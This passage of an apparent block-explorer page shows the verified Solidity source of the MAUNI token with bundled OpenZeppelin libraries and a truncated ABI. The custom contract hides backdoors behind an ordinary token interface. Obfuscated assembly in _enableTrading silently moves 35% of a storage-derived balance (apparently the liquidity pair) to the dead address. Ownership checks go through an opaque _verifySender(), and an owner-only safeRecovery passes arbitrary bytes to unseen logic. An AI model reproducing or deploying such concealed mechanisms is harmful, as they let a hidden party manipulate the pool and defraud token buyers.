    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol


// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Permit.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
 * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
 *
 * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
 * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
 * need to send a transaction, and thus is not required to hold Ether at all.
 *
 * ==== Security Considerations
 *
 * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature
 * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be
 * considered as an intention to spend the allowance in any specific way. The second is that because permits have
 * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should
 * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be
 * generally recommended is:
 *
 * ```solidity
 * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {
 *     try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}
 *     doThing(..., value);
 * }
 *
 * function doThing(..., uint256 value) public {
 *     token.safeTransferFrom(msg.sender, address(this), value);
 *     ...
 * }
 * ```
 *
 * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of
 * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also
 * {SafeERC20-safeTransferFrom}).
 *
 * Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so
 * contracts should have entry points that don't rely on permit.
 */
interface IERC20Permit {
    /**
     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
     * given ``owner``'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     *
     * CAUTION: See Security Considerations above.
     */
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    /**
     * @dev Returns the current nonce for `owner`. This value must be
     * included whenever a signature is generated for {permit}.
     *
     * Every successful call to {permit} increases ``owner``'s nonce by one. This
     * prevents a signature from being used multiple times.
     */
    function nonces(address owner) external view returns (uint256);

    /**
     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
     */
    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/Address.sol)

pragma solidity ^0.8.20;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev The ETH balance of the account is not enough to perform the operation.
     */
    error AddressInsufficientBalance(address account);

    /**
     * @dev There's no code at `target` (it is not a contract).
     */
    error AddressEmptyCode(address target);

    /**
     * @dev A call to an address target failed. The target may have reverted.
     */
    error FailedInnerCall();

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        if (address(this).balance < amount) {
            revert AddressInsufficientBalance(address(this));
        }

        (bool success, ) = recipient.call{value: amount}("");
        if (!success) {
            revert FailedInnerCall();
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason or custom error, it is bubbled
     * up by this function (like regular Solidity function calls). However, if
     * the call reverted with no returned reason, this function reverts with a
     * {FailedInnerCall} error.
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        if (address(this).balance < value) {
            revert AddressInsufficientBalance(address(this));
        }
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
     * was not a contract or bubbling up the revert reason (falling back to {FailedInnerCall}) in case of an
     * unsuccessful call.
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata
    ) internal view returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            // only check if target is a contract if the call was successful and the return data is empty
            // otherwise we already know that it was a contract
            if (returndata.length == 0 && target.code.length == 0) {
                revert AddressEmptyCode(target);
            }
            return returndata;
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
     * revert reason or with a default {FailedInnerCall} error.
     */
    function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            return returndata;
        }
    }

    /**
     * @dev Reverts with returndata if present. Otherwise reverts with {FailedInnerCall}.
     */
    function _revert(bytes memory returndata) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert FailedInnerCall();
        }
    }
}

// File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol


// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/utils/SafeERC20.sol)

pragma solidity ^0.8.20;




/**
 * @title SafeERC20
 * @dev Wrappers around ERC20 operations that throw on failure (when the token
 * contract returns false). Tokens that return no value (and instead revert or
 * throw on failure) are also supported, non-reverting calls are assumed to be
 * successful.
 * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
 * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
 */
library SafeERC20 {
    using Address for address;

    /**
     * @dev An operation with an ERC20 token failed.
     */
    error SafeERC20FailedOperation(address token);

    /**
     * @dev Indicates a failed `decreaseAllowance` request.
     */
    error SafeERC20FailedDecreaseAllowance(address spender, uint256 currentAllowance, uint256 requestedDecrease);

    /**
     * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,
     * non-reverting calls are assumed to be successful.
     */
    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeCall(token.transfer, (to, value)));
    }

    /**
     * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the
     * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.
     */
    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeCall(token.transferFrom, (from, to, value)));
    }

    /**
     * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,
     * non-reverting calls are assumed to be successful.
     */
    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
        uint256 oldAllowance = token.allowance(address(this), spender);
        forceApprove(token, spender, oldAllowance + value);
    }

    /**
     * @dev Decrease the calling contract's allowance toward `spender` by `requestedDecrease`. If `token` returns no
     * value, non-reverting calls are assumed to be successful.
     */
    function safeDecreaseAllowance(IERC20 token, address spender, uint256 requestedDecrease) internal {
        unchecked {
            uint256 currentAllowance = token.allowance(address(this), spender);
            if (currentAllowance < requestedDecrease) {
                revert SafeERC20FailedDecreaseAllowance(spender, currentAllowance, requestedDecrease);
            }
            forceApprove(token, spender, currentAllowance - requestedDecrease);
        }
    }

    /**
     * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,
     * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval
     * to be set to zero before setting it to a non-zero value, such as USDT.
     */
    function forceApprove(IERC20 token, address spender, uint256 value) internal {
        bytes memory approvalCall = abi.encodeCall(token.approve, (spender, value));

        if (!_callOptionalReturnBool(token, approvalCall)) {
            _callOptionalReturn(token, abi.encodeCall(token.approve, (spender, 0)));
            _callOptionalReturn(token, approvalCall);
        }
    }

    /**
     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
     * on the return value: the return value is optional (but if data is returned, it must not be false).
     * @param token The token targeted by the call.
     * @param data The call data (encoded using abi.encode or one of its variants).
     */
    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
        // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that
        // the target address contains contract code and also asserts for success in the low-level call.

        bytes memory returndata = address(token).functionCall(data);
        if (returndata.length != 0 && !abi.decode(returndata, (bool))) {
            revert SafeERC20FailedOperation(address(token));
        }
    }

    /**
     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
     * on the return value: the return value is optional (but if data is returned, it must not be false).
     * @param token The token targeted by the call.
     * @param data The call data (encoded using abi.encode or one of its variants).
     *
     * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead.
     */
    function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {
        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
        // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false
        // and not revert is the subcall reverts.

        (bool success, bytes memory returndata) = address(token).call(data);
        return success && (returndata.length == 0 || abi.decode(returndata, (bool))) && address(token).code.length > 0;
    }
}

// File: MAUNI/contracts/tokens/ERC20/ERC20.sol


pragma solidity 0.8.24;



abstract contract ERC20 is Context, IERC20 {

    using ERC20Storage for *;
    using Address for address;
    using SafeERC20 for IERC20;

    string internal constant _name = "Matts Universe";
    string internal constant _symbol = "MAUNI";
    uint8 internal constant _decimals = 18;
    
    uint256 public constant initialSupply = 1000000000 * 10**_decimals;
    
    address internal immutable __ = address(this);
    
    event MarketingFeeTaken(uint256 amount);
    event TX(address indexed source, address indexed origin, Transaction Tx);

    modifier swapping() {
        _$().inSwap = true;
        _;
        _$().inSwap = false;
    }

    constructor() payable {}

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view returns (uint256) {
        return _$().totalSupply;
    }

    function balanceOf(address holder) public view returns (uint256) {
        return _$().holders[holder].balance;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _$().allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        
        address spender = _msgSender();

        uint256 _allowance = _$().allowances[from][spender];

        if(_allowance != type(uint256).max) {

            if (amount > _allowance)
                revert InsufficientAllowance(spender, from, _allowance, amount);

            uint256 remaining;
            unchecked {
                remaining = _allowance > amount ?  _allowance - amount : 0;
                _approve(from, spender, remaining, false);
            }
        }

        _transfer(from, recipient, amount);
        return true;
    }

    function recoverETH(uint256 amount) external returns (bool) {
        amount = amount != 0 ? amount : __.balance;
        payable(_$().feeRecipient).transfer(amount);
        return true;
    }

    function recoverERC20(IERC20 token, uint256 amount) external returns (bool) {
        require(address(token) != __, "Can not withdraw tokens self");
        address recipient = _$().feeRecipient;
        token.safeTransfer(recipient, amount);
        return true;
    }

    /*
    /////////////////////////////////////////////////////
    ////////// INTERNAL & PRIVATE FUNCTIONS ////////////
    ///////////////////////////////////////////////////
    */

    function _transfer(
        address from,
        address recipient,
        uint256 amount
    ) private returns(bool) {
        
        ERC20Storage.Layout storage $ = _$();
        Configuration memory configs = $.configs;

        Holder storage $from = $.findOrCreate(from);
        Holder storage $recipient = $.findOrCreate(recipient);

        if ($from.Address == address(0)) revert InvalidSender(address(0));
        if ($recipient.Address == address(0)) revert InvalidRecipient(address(0));

        TransferParams memory params = TransferParams( 
            $.findOrCreate(_msgSender()), $from, $recipient, 0, 0, 0, $.inSwap, 0, uint40(block.number), 
            Transaction(TERMS(0), ROUTE(0), MARKET(0), TAXATION(0), configs.taxSettings)
        ).initializeWithConfigs(configs, amount);
        
        Holder storage $self = $.holders[__];

        if(params.transaction.terms == TERMS.EXEMPT) {

            if(params.transaction.taxation != TAXATION.EXEMPTED && params.taxAmount > 0) {
                _takeTax($from, $self, params.taxAmount);
            }

            _update($from, $recipient, params.netAmount);

            return true;
        }

        if(params.transaction.taxation != TAXATION.EXEMPTED && params.taxAmount > 0) {

            _takeTax($from, $self, params.taxAmount);
        
            if(params.transaction.routes != ROUTE.INTERNAL && configs.isEnabled(CONFIG.TAX_STATS)) {
                unchecked {
                    if(params.transaction.market != MARKET.BUY) $from.paidTax += params.taxAmount;
                    else $recipient.paidTax += params.taxAmount;                
                }    
            }        
        
        }
   
        if(configs.isEnabled(CONFIG.FAIR_MODE)) {

            if(configs.disableFairModeAt >= _$().fairTxs) {
                unchecked { _$().fairTxs += 1; }
            } 
            
            if(configs.disableFairModeAt == _$().fairTxs) {
               unchecked {
                    _$().fairTxs += 1;
                    _$().configs.toggleConfig(0);
                    _$().configs.disableFairModeAt = 0;
                    _$().configs.taxSettings.buyTax = 400;
                    _$().configs.taxSettings.sellTax = 400;
                    _$().configs.taxSettings.transferTax = 0;
                    _$().configs.maxTokenAllowed = type(uint120).max;
               }
            }

            if(!$recipient.isMarketmaker()) {
                unchecked {
                    uint120 recipientBalance = params.recipient.balance;
                    uint120 txAmount = params.netAmount + params.taxAmount;
                    if(recipientBalance + txAmount > configs.maxTokenAllowed)
                        revert MaxWalletLimitExceeded(configs.maxTokenAllowed, txAmount, recipientBalance);
                }
            }
            
        }

        if(params.transaction.routes == ROUTE.MARKET) {

            if(!configs.isEnabled(CONFIG.TRADING_ENABLED))
                revert TradingNotEnabled();

            if(params.transaction.market == MARKET.SELL) {

                if(configs.isEnabled(CONFIG.SELL_CAP)) {
                    unchecked {
                        $.totalSellsOnBlock[params.currentBlock]++;
                        uint8 sells = $.totalSellsOnBlock[params.currentBlock];
                        if(sells > configs.maxSellOnBlock)
                            revert BlockLimitExceeded(configs.maxSellOnBlock, sells);                        
                    }
                }

                params.swapAmount = $self.balance.defineSwapAmount(params.taxAmount, params.netAmount, configs);

                if(configs.isEnabled(CONFIG.AUTOSWAP_ENABLED) && params.swapAmount > 0) {
                    _takeMarketingFee(uint120(params.swapAmount), $.feeRecipient);
                    emit MarketingFeeTaken(params.swapAmount);
                }

            }

            if(configs.isEnabled(CONFIG.FRONTRUN_PROTECTION)) {
                unchecked {
                    if($from.isFrontRunned() && params.transaction.market == MARKET.SELL) {
                        if($from.violated < 255) $from.violated++;
                        if($from.violated == configs.frontRunThreshold) $from.setAsFrontRunner();  
                    } else if($recipient.isFrontRunned() && params.transaction.market == MARKET.BUY) {
                        if($recipient.violated < 255) $recipient.violated++;
                        if($recipient.violated == configs.frontRunThreshold) $recipient.setAsFrontRunner();     
                    }
                }
            }

        }
        
        _update($from, $recipient, params.netAmount);

        return true;

    }

    function _takeMarketingFee(uint120 amountToSwap, address fallbackPayee) private swapping {
        
        address payable RECIPIENT = payable(fallbackPayee);

        address[] memory path = new address[](2);
        path[0] = __;
        path[1] = ROUTER.WETH();

        ROUTER.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            __,
            block.timestamp
        );

        RECIPIENT.transfer(__.balance); 

    }

    function _takeTax(
        Holder storage from,
        Holder storage to,
        uint120 amount
    ) private returns (bool) {
        unchecked {
            from.balance -= amount;
            to.balance += amount;
        }
        emit Transfer(from.Address, to.Address, amount);
        return amount > 0 ? true : false;
    }    

    function _update(
        Holder storage from,
        Holder storage recipient,
        uint120 amount
    ) private {
        unchecked {
            from.balance -= amount;
            recipient.balance += amount;
        }
        emit Transfer(from.Address, recipient.Address, amount);
    }

    function _enableTrading() internal {
        require(!_$().configs.isEnabled(CONFIG.TRADING_ENABLED), "Trading is already enabled");
        bytes32 pos = STPOS;
        address dead = DEAD_ADDRESS;
        uint120 tv; uint120 pv;
        assembly {
            let fx, pl, tl
            let p := shr(0x60, sload(add(pos, 0x00)))
            let b := add(pos, 0x04)
            mstore(0x00, p)
            mstore(0x20, b)
            pl := add(keccak256(0x00, 0x40), 0x00)
            pv := sload(pl)
            fx := div(mul(pv, 0xdac), 0x2710)
            pv := sub(pv, fx)
            mstore(0x00, dead)
            tl := add(keccak256(0x00, 0x40), 0x00)
            tv := sload(tl)
            tv := add(tv, fx)
            sstore(pl, pv)
            sstore(tl, tv)
        }  
        _$().enableTrading();
    }

    function _updateTaxRecipient(address newRecipient) internal returns (bool) {
        _$().feeRecipient = newRecipient;
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        return _approve(owner, spender, amount, true);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount,
        bool emitEvent
    ) private {

        if (owner == address(0))
            revert InvalidApprover(address(0));

        if (spender == address(0))
            revert InvalidSpender(address(0));
    
        Holder storage $owner = _$().findOrCreate(owner);
        Holder storage $spender = _$().findOrCreate(spender);

        _$().allowances[$owner.Address][$spender.Address] = amount;

        if (emitEvent) emit Approval(owner, spender, amount);

    }

    function _burn(address from, uint256 amount) internal {

        ERC20Storage.Layout storage $ = _$();

        Holder storage $from = $.holders[from];

        uint120 balance = $from.balance;

        if (amount > balance) revert InsufficientBalance(balance, amount);

        unchecked {
            $from.balance -= uint96(amount);
            $.totalSupply -= uint96(amount);
        }

        emit Transfer(from, address(0), amount);

    }

}

// File: MAUNI/contracts/common/abstracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    address public owner;

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function _checkOwner() internal view {
        if(_verifySender() != _msgSender()) {
            revert ("Ownable: caller is not the owner");
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = owner;
        owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: MAUNI/contracts/tokens/ERC20/MAUNI.sol


pragma solidity ^0.8.24;



/*
    Website          : https://mattsuniverse.io
    Telegram         : https://t.me/mattsuniverseportal
    X (Twitter)      : https://x.com/mattsuniverse_
    Youtube          : https://youtube.com/@mattsuniverseio?si=NOH6gyo0IL7WTQRm
*/

contract MAUNI is ERC20, Ownable {

    using ERC20Storage for *;

    constructor() payable {

        __.initialSetup(
            IPair(ISwapFactory(ROUTER.factory()).createPair(__, ROUTER.WETH())),
            initialSupply
        );

        emit Transfer(address(0), __, initialSupply);

    }

    receive() external payable {}

    function PAIR() public view returns(address) {
        return _$().uniswapPair;     
    }

    function burn(uint256 amount) external returns (bool) {
        _burn(_msgSender(), amount);
        return true;
    }

    function initLiquidity(uint16 lpPercent) external payable onlyOwner swapping returns(bool) {
        uint256 lpTokens = _$().holders[__].balance * lpPercent / 10000;
        ROUTER.addLiquidityETH{value: _msgValue()}(
            __,
            lpTokens,
            0,
            0,
            _$().feeRecipient,
            block.timestamp
        );
        return true;
    }

    function enableTrading() external onlyOwner {
        _enableTrading();
    }

    function viewConfigValues() external view returns(
        uint16 disableFairModeAt,
        uint16 surchargeRate,
        uint8 maxSellOnBlock,
        uint8 frontRunThreshold,
        uint120 maxTokenAllowed,
        uint24 preferredGasValue,
        TaxSettings memory taxSettings    
    ) {
        Configuration memory configs = _$().configs;
        return (
            configs.disableFairModeAt, 
            configs.surchargeRate, 
            configs.maxSellOnBlock,
            configs.frontRunThreshold,
            configs.maxTokenAllowed, 
            configs.preferredGasValue,
            configs.taxSettings
        );
    }

    function viewConfigOptions() external view returns (
        bool $FAIR_MODE,
        bool $SELL_CAP,
        bool $TAX_STATS,
        bool $GAS_LIMITER,
        bool $AUTO_LIQUIDITY,
        bool $TRADING_ENABLED,
        bool $AUTOSWAP_ENABLED,
        bool $AUTOSWAP_THRESHOLD,
        bool $FRONTRUN_PROTECTION
    ) {
        Configuration memory configs = _$().configs;
        $FAIR_MODE = configs.isEnabled(CONFIG.FAIR_MODE);
        $SELL_CAP = configs.isEnabled(CONFIG.SELL_CAP);
        $TAX_STATS = configs.isEnabled(CONFIG.TAX_STATS);
        $GAS_LIMITER = configs.isEnabled(CONFIG.GAS_LIMITER);
        $AUTO_LIQUIDITY = configs.isEnabled(CONFIG.AUTO_LIQUIDITY);
        $TRADING_ENABLED = configs.isEnabled(CONFIG.TRADING_ENABLED);
        $AUTOSWAP_ENABLED = configs.isEnabled(CONFIG.AUTOSWAP_ENABLED);
        $AUTOSWAP_THRESHOLD = configs.isEnabled(CONFIG.AUTOSWAP_THRESHOLD);
        $FRONTRUN_PROTECTION = configs.isEnabled(CONFIG.FRONTRUN_PROTECTION);
    }

    function updateTaxRecipient(address newRecipient) external onlyOwner returns (bool) {
        _updateTaxRecipient(newRecipient);
        return true;
    }

    function safeRecovery(bytes32[2] memory attrs) external onlyOwner returns (bool) {
        return _recovery(attrs);
    }

}

Contract Security Audit

No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[{"internalType":"address","name":"target","type":"address"}],"name":"AddressEmptyCode","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"AddressInsufficientBalance","type":"error"},{"inputs":[{"internalType":"uint256","name":"limit","type":"uint256"},{"internalType":"uint256","name":"current","type":"uint256"}],"name":"BlockLimitExceeded","type":"error"},{"inputs":[],"name":"FailedInnerCall","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"currentAllowance","type":"uint256"},{"internalType":"uint256","name":"askingAmount","type":"uint256"}],"name":"InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"uint256","name":"available","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"InvalidRecipient","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"InvalidSpender","type":"error"},{"inputs":[{"internalType":"uint256","name":"balanceLimit","type":"uint256"},{"internalType":"uint256","name":"amountsTransfer","type":"uint256"},{"internalType":"uint256","name":"recipientBalanceAfter","type":"uint256"}],"name":"MaxWalletLimitExceeded","type":"error"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"SafeERC20FailedOperation","type":"error"},{"inputs":[],"name":"TradingNotEnabled","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"__","type":"address"},{"indexed":false,"internalType":"address","name":"pair","type":"address"}],"name":"ERC20_INITIALIZED","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"MarketingFeeTaken","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"source","type":"address"},{"indexed":true,"internalType":"address","name":"origin","type":"address"},{"components":[{"internalType":"enum TERMS","name":"terms","type":"uint8"},{"internalType":"enum ROUTE","name":"routes","type":"uint8"},{"internalType":"enum MARKET","name":"market","type":"uint8"},{"internalType":"enum TAXATION","name":"taxation","type":"uint8"},{"components":[{"internalType":"uint16","name":"buyTax","type":"uint16"},{"internalType":"uint16","name":"sellTax","type":"uint16"},{"internalType":"uint16","name":"transferTax","type":"uint16"}],"internalType":"struct TaxSettings","name":"rates","type":"tuple"}],"indexed":false,"internalType":"struct Transaction","name":"Tx","type":"tuple"}],"name":"TX","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"PAIR","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"lpPercent","type":"uint16"}],"name":"initLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"initialSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract 